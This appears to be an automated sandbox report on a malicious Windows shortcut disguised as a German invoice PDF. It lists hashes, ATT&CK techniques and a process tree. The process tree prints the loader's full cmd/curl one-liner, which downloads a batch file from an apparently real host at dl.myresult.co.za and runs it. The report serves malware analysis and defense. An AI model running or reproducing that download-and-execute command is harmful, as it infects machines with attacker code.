2e52b40877d2e8c8bf4c76042241f78ed11809c2088af14001f44bcaeb3052f9

Analysis

max time kernel
298s
max time network
290s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/08/2026, 02:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rechnung Nr. 2026-4697.pdf.lnk
Size 1KB
Sample260822-decsrazgrb
SHA256 2e52b40877d2e8c8bf4c76042241f78ed11809c2088af14001f44bcaeb3052f9
MD5 776977266cc91087e006955ee2ad9339
SHA1 9b9cc609894c8559e9530c4c96879768ea889f23
SHA512 73ae8eae58321c7b8c241231170eab2ae6417885ed10f9461596ea5042f87a9d15296b10768bc6c2f40cd1e91577d3fb4b70e0c9bbff96af201419c14f1ad0a2
TLSH
T14831A6186EE94324D3B28E3A68FAE30185337842DE62CF5D018481CC368B510F971F2F
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3852	cmd.exe
1248	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1248 wrote to memory of 3852	1248	cmd.exe	87
PID 3852 wrote to memory of 4772	3852	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Rechnung Nr. 2026-4697.pdf.lnk"
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c curl.exe -s -o "C:\Users\Admin\AppData\Local\Temp\s.bat" "http://dl.myresult.co.za:8071/9x7k2q/g3.bat"& "C:\Users\Admin\AppData\Local\Temp\s.bat" general 48ei9aun
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\system32\curl.exe
    curl.exe -s -o "C:\Users\Admin\AppData\Local\Temp\s.bat" "http://dl.myresult.co.za:8071/9x7k2q/g3.bat"
    3⤵
    PID:4772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads